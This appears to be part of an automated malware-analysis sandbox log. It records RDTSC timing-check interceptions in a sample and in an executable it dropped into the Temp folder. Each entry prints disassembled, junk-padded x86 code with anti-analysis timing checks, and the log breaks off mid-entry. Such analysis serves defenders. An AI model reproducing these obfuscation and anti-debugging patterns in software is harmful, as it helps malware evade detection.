Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53904D0 second address: 539050F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F6511772C8Dh 0x00000014 and si, 3C36h 0x00000019 jmp 00007F6511772C91h 0x0000001e popfd 0x0000001f mov edi, eax 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 539050F second address: 5390576 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 24h 0x00000005 mov esi, 3A64C83Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jg 00007F65817FB966h 0x00000013 pushad 0x00000014 movzx eax, bx 0x00000017 jmp 00007F651112DA09h 0x0000001c popad 0x0000001d js 00007F651112DAB1h 0x00000023 jmp 00007F651112D9FEh 0x00000028 cmp dword ptr [ebp-14h], edi 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e pushfd 0x0000002f jmp 00007F651112D9FCh 0x00000034 or al, 00000018h 0x00000037 jmp 00007F651112D9FBh 0x0000003c popfd 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390576 second address: 5390617 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6511772C98h 0x00000008 xor cl, 00000078h 0x0000000b jmp 00007F6511772C8Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F6511772C98h 0x00000019 sub ecx, 2BB9B4D8h 0x0000001f jmp 00007F6511772C8Bh 0x00000024 popfd 0x00000025 popad 0x00000026 jne 00007F6581E40B53h 0x0000002c pushad 0x0000002d jmp 00007F6511772C94h 0x00000032 call 00007F6511772C92h 0x00000037 mov ax, 3A81h 0x0000003b pop ecx 0x0000003c popad 0x0000003d mov ebx, dword ptr [ebp+08h] 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F6511772C8Fh 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390617 second address: 539061D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 539061D second address: 5390651 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6511772C97h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390651 second address: 539068E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F651112D9FEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F651112D9FAh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 539068E second address: 53906A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6511772C8Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53906A0 second address: 53906C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112D9FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F651112DA05h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53906C9 second address: 539071E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov di, cx 0x0000000e pushfd 0x0000000f jmp 00007F6511772C98h 0x00000014 and eax, 57B45708h 0x0000001a jmp 00007F6511772C8Bh 0x0000001f popfd 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 mov bl, 22h 0x00000025 mov ax, A977h 0x00000029 popad 0x0000002a nop 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e mov edx, ecx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 539071E second address: 5390753 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F651112DA02h 0x00000008 xor ecx, 47208C98h 0x0000000e jmp 00007F651112D9FBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push ecx 0x00000017 push edx 0x00000018 pop eax 0x00000019 pop edi 0x0000001a popad 0x0000001b xchg eax, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390753 second address: 5390766 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390766 second address: 53907B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F651112DA01h 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F651112DA08h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53907B2 second address: 53907B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53907B8 second address: 53907BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53907BE second address: 53907C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53907EE second address: 5390803 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F651112DA01h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390803 second address: 5390822 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390822 second address: 5390826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390826 second address: 539082C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 539082C second address: 5390851 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 3F87h 0x00000007 mov ebx, eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test esi, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F651112DA05h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380F05 second address: 5380F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380F09 second address: 5380F0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380F0D second address: 5380F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380F13 second address: 5390C5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F651112DA02h 0x00000009 add esi, 7A2472A8h 0x0000000f jmp 00007F651112D9FBh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F651112DA08h 0x0000001b add ax, 6508h 0x00000020 jmp 00007F651112D9FBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 ret 0x0000002a nop 0x0000002b and bl, 00000001h 0x0000002e movzx eax, bl 0x00000031 lea esp, dword ptr [ebp-0Ch] 0x00000034 pop esi 0x00000035 pop edi 0x00000036 pop ebx 0x00000037 pop ebp 0x00000038 ret 0x00000039 add esp, 04h 0x0000003c jmp dword ptr [0082A41Ch+ebx*4] 0x00000043 push edi 0x00000044 call 00007F65111533F7h 0x00000049 push ebp 0x0000004a push ebx 0x0000004b push edi 0x0000004c push esi 0x0000004d sub esp, 000001D0h 0x00000053 mov dword ptr [esp+000001B4h], 0082CB10h 0x0000005e mov dword ptr [esp+000001B0h], 000000D0h 0x00000069 mov dword ptr [esp], 00000000h 0x00000070 mov eax, dword ptr [008281DCh] 0x00000075 call eax 0x00000077 mov edi, edi 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007F651112D9FDh 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390C5E second address: 5390C6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6511772C8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390C6E second address: 5390C8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F651112DA03h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390C8C second address: 5390C92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390C92 second address: 5390C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390C96 second address: 5390C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390D8C second address: 5390E12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c call 00007F651112D9FCh 0x00000011 pop ecx 0x00000012 pop ebx 0x00000013 pushfd 0x00000014 jmp 00007F651112DA00h 0x00000019 add al, FFFFFFB8h 0x0000001c jmp 00007F651112D9FBh 0x00000021 popfd 0x00000022 popad 0x00000023 mov eax, dword ptr [esp+04h] 0x00000027 pushad 0x00000028 push edi 0x00000029 call 00007F651112DA02h 0x0000002e pop eax 0x0000002f pop edi 0x00000030 mov ebx, esi 0x00000032 popad 0x00000033 mov eax, dword ptr [eax] 0x00000035 jmp 00007F651112D9FDh 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F651112D9FCh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390E12 second address: 5390E24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6511772C8Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390E24 second address: 5390E28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390E28 second address: 5390E36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390E36 second address: 5390E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390E3D second address: 5390E43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390E43 second address: 5390E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390E47 second address: 5390E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390E4B second address: 5390E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F65817F2715h 0x0000000d push 75A52B70h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [75AB4538h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 push edi 0x00000056 pop eax 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390EA9 second address: 5390EAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390EAF second address: 5390EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390EB3 second address: 5390EB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5390EB7 second address: 5390ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F651112DA02h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0779 second address: 53B0796 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0796 second address: 53B079B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B079B second address: 53B07B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, dl 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6511772C8Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B07B2 second address: 53B0814 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov ax, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F651112D9FCh 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 mov edi, esi 0x00000015 pushfd 0x00000016 jmp 00007F651112D9FAh 0x0000001b or si, C168h 0x00000020 jmp 00007F651112D9FBh 0x00000025 popfd 0x00000026 popad 0x00000027 mov esi, dword ptr [ebp+0Ch] 0x0000002a jmp 00007F651112DA06h 0x0000002f test esi, esi 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F651112D9FAh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0814 second address: 53B081A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B081A second address: 53B088A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F651112D9FCh 0x00000009 adc si, 1628h 0x0000000e jmp 00007F651112D9FBh 0x00000013 popfd 0x00000014 mov bx, si 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a je 00007F65817CB56Ch 0x00000020 pushad 0x00000021 mov edx, ecx 0x00000023 call 00007F651112D9FCh 0x00000028 pushfd 0x00000029 jmp 00007F651112DA02h 0x0000002e sub eax, 7D2963B8h 0x00000034 jmp 00007F651112D9FBh 0x00000039 popfd 0x0000003a pop esi 0x0000003b popad 0x0000003c cmp dword ptr [75AB459Ch], 05h 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B088A second address: 53B0890 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0890 second address: 53B0896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0896 second address: 53B089A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B089A second address: 53B08B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F65817E35EBh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F651112D9FCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B08B6 second address: 53B08C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6511772C8Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B08C8 second address: 53B0904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov eax, edx 0x0000000e pushfd 0x0000000f jmp 00007F651112DA05h 0x00000014 or cx, D116h 0x00000019 jmp 00007F651112DA01h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B096F second address: 53B0975 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0975 second address: 53B098C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F651112DA03h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B098C second address: 53B099E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dl, al 0x0000000e mov si, dx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B099E second address: 53B09A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ECE7D9 second address: ECE7DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ECE7DD second address: ECE7F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F651112D9FDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ECF0B8 second address: ECF0DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F6511772C96h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F6511772C86h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED2BE8 second address: ED2C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 call 00007F651112DA07h 0x0000000d mov edi, eax 0x0000000f pop edi 0x00000010 push 00000000h 0x00000012 mov dl, A9h 0x00000014 push 307FDF68h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F651112DA07h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED2E0C second address: ED2E10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED2E10 second address: ED2E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED2E19 second address: ED2E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F6511772C97h 0x0000000d push esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop esi 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F6511772C93h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 ja 00007F6511772C86h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED2E60 second address: ED2E66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED2E66 second address: ED2E74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6511772C8Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED2E74 second address: ED2EC7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F651112D9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007F651112DA02h 0x00000015 pop eax 0x00000016 jmp 00007F651112DA06h 0x0000001b lea ebx, dword ptr [ebp+12458AAAh] 0x00000021 add dword ptr [ebp+122D1C3Ah], ebx 0x00000027 xchg eax, ebx 0x00000028 pushad 0x00000029 jg 00007F651112D9F8h 0x0000002f push eax 0x00000030 push edx 0x00000031 push esi 0x00000032 pop esi 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED2EC7 second address: ED2ED4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED2ED4 second address: ED2ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED2F5A second address: ED2F96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jno 00007F6511772C90h 0x00000010 nop 0x00000011 mov cx, bx 0x00000014 push 00000000h 0x00000016 mov edx, 2F3E6BFDh 0x0000001b push 77C4C6E4h 0x00000020 push eax 0x00000021 push edx 0x00000022 jo 00007F6511772C88h 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED2F96 second address: ED2FA0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F651112D9FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED2FA0 second address: ED3048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 77C4C664h 0x0000000d mov dword ptr [ebp+122D3827h], edi 0x00000013 call 00007F6511772C8Dh 0x00000018 jmp 00007F6511772C97h 0x0000001d pop edi 0x0000001e push 00000003h 0x00000020 and edx, dword ptr [ebp+122D1CFDh] 0x00000026 clc 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007F6511772C88h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 0000001Ch 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 mov cl, 67h 0x00000045 xor edi, dword ptr [ebp+122D3D3Bh] 0x0000004b push 00000003h 0x0000004d mov edx, dword ptr [ebp+122D3906h] 0x00000053 call 00007F6511772C89h 0x00000058 jmp 00007F6511772C93h 0x0000005d push eax 0x0000005e js 